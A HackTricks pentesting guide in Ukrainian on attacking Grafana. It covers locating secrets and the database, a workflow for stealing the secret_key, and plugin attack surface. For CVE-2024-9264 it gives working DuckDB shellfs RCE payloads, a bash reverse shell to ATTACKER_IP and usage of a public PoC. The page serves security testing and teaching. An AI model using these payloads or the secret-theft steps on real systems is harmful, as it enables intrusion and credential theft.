Grafana
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Цікаве
- Основна конфігурація зазвичай знаходиться в
/etc/grafana/grafana.ini(Deb/RPM) і може містити чутливі значення, такі якadmin_user,admin_password,secret_key, налаштування OAuth, SMTP creds та renderer tokens. - За замовчуванням Grafana зберігає дані в SQLite3 під
/var/lib/grafana/grafana.db. - Файли provisioning особливо цікаві після доступу до хоста:
/etc/grafana/provisioning/datasources/*.yaml/etc/grafana/provisioning/plugins/*.yaml- У provisioning-файлах підтримується розгортання змінних середовища, тому leaked YAML часто розкриває як секрети, так і імена змінних оточення, які їх забезпечують.
- Встановлені плагіни зазвичай знаходяться під
/var/lib/grafana/plugins. - Всередині платформи ви можете запрошувати людей, створювати API keys / service account tokens, переглядати список плагінів, або встановлювати нові плагіни залежно від ролі.
- Браузер теж корисний: Grafana передає нечутливу конфігурацію datasource на фронтенд. Якщо у вас є сесія Viewer (або ввімкнено anonymous access), перегляньте
window.grafanaBootDataу DevTools.
Корисні перевірки SQLite:
.tables
.schema data_source
SELECT id,org_id,name,type,url,access,is_default,json_data FROM data_source;
SELECT id,org_id,uid,login,email,is_admin FROM user;
SELECT id,org_id,uid,name,slug FROM dashboard;
Викрадення джерел даних і секретів
Grafana розділяє конфігурацію, доступну в браузері, та зашифровані секрети:
jsonDataвидимий користувачам у браузері і часто достатній для переліку внутрішніх хостів, тенантів, режимів автентифікації, імен заголовків, AWS регіонів, Elasticsearch індексів, Loki тенантів, Prometheus URL-ів та подібних даних для розвідки.secureJsonDataшифрується на стороні сервера і після збереження джерела даних більше не читається з браузера.
Робочий процес після експлуатації:
- Зробити дамп
grafana.iniі відновитиsecret_key. - Отримати
grafana.dbта файли provisioning. - Перелічити джерела даних і конфігурацію плагінів, щоб знайти повторно використовувані облікові дані та внутрішні кінцеві точки.
- Якщо мігруєте або відтворюєте базу даних в іншому екземплярі Grafana, збережіть той самий
secret_key— інакше збережені паролі/токени джерел даних не розшифруються правильно.
Чому secret_key важливий у новіших версіях:
- З Grafana v9 секрети в базі даних використовують envelope encryption.
- Grafana шифрує секрети за допомогою data encryption keys (DEKs), а ці DEKs шифруються за допомогою key encryption key (KEK), виведеного з
secret_key. - З точки зору атакуючого,
grafana.db+secret_key— це пара, вартa викрадення.
Поверхня атаки плагінів
Розглядайте плагіни як частину цілі, а не як примітку:
- Перелічуйте їх з файлової системи, з UI або з API:
curl -s http://grafana.target/api/plugins | jq '.[].id'
- Старі або сторонні плагіни часто розширюють доступ Grafana до внутрішніх мереж, оскільки вони проксірують HTTP-запити або взаємодіють з локальними файлами/базами даних.
- Останні приклади включають SSRF у плагіні Infinity (
< 3.4.1) та шляхи зловживання, де плагін Image Renderer перетворює іншу вразливість на full-read SSRF.
CVE-2024-9264 – SQL Expressions (DuckDB shellfs) пост-авторизаційний RCE / LFI
Експериментальна функція SQL Expressions у Grafana може виконувати DuckDB-запити, які містять текст, контрольований користувачем. Недостатня санітаризація дозволяє атакувальникам ланцюжити DuckDB-інструкції та завантажувати community extension shellfs, який відкриває shell-команди через pipe-backed віртуальні файли.
Вплив
- Будь-який аутентифікований користувач з роллю VIEWER або вище може отримати виконання коду як системний користувач Grafana (зазвичай grafana; іноді root всередині контейнера) або виконувати читання локальних файлів.
- Передумови, які зазвичай виконуються в реальних розгортаннях:
- SQL Expressions enabled:
expressions.enabled = true duckdbbinary present in PATH on the server
Швидкі перевірки
- У UI/API перейдіть до налаштувань Admin (Swagger:
/swagger-ui, endpoint/api/admin/settings), щоб підтвердити: expressions.enabledis true- Опційно: версія, типи datasource і загальні налаштування hardening
- Shell на хості:
which duckdbмає повертати шлях для експлойт-шляху нижче.
Ручний шаблон запитів з використанням DuckDB + shellfs
- Сценарій зловживання (2 запити):
- Встановити і завантажити розширення shellfs, виконати команду, перенаправити об’єднаний вивід у тимчасовий файл через pipe
- Прочитати тимчасовий файл за допомогою
read_blob
Приклади SQL Expressions payloads, які передаються DuckDB:
-- 1) Prepare shellfs and run command
SELECT 1; INSTALL shellfs FROM community; LOAD shellfs;
SELECT * FROM read_csv('CMD >/tmp/grafana_cmd_output 2>&1 |');
-- 2) Read the output back
SELECT content FROM read_blob('/tmp/grafana_cmd_output');
Замініть CMD на бажану команду. Для читання файлів (LFI) ви можете замість цього використовувати функції роботи з файлами DuckDB, щоб читати локальні файли.
Приклад однорядкового reverse shell
bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"
Вставте це як CMD у першому запиті, поки у вас є listener: nc -lnvp 443.
Автоматизований PoC
- Публічний PoC (побудований на cfreal’s ten framework):
- https://github.com/nollium/CVE-2024-9264
Приклад використання
# Confirm execution context and UID
python3 CVE-2024-9264.py -u <USER> -p <PASS> -c id http://grafana.target
# Launch a reverse shell
python3 CVE-2024-9264.py -u <USER> -p <PASS> \
-c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"' \
http://grafana.target
Якщо вивід показує uid=0(root), Grafana працює під root (часто всередині деяких контейнерів).
2025 client-side traversal / open redirect chain
The 2025 Grafana client-side traversal and open-redirect chain is already documented in more generic client-side pages. Використовуйте ці техніки проти Grafana-специфічних шляхів, таких як plugin assets, dashboard script loaders, and token-rotation redirects:
Посилання
- Grafana Advisory – CVE-2024-9264 (SQL Expressions RCE/LFI)
- Grafana docs – Add authentication for data source plugins (
jsonData,secureJsonData,window.grafanaBootData) - Grafana docs – Configure database encryption
- Grafana docs – Provision Grafana
- Cycode – One Plugin Away: Breaking Into Grafana from the Inside
- DuckDB shellfs community extension
- nollium/CVE-2024-9264 PoC
- cfreal/ten framework
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


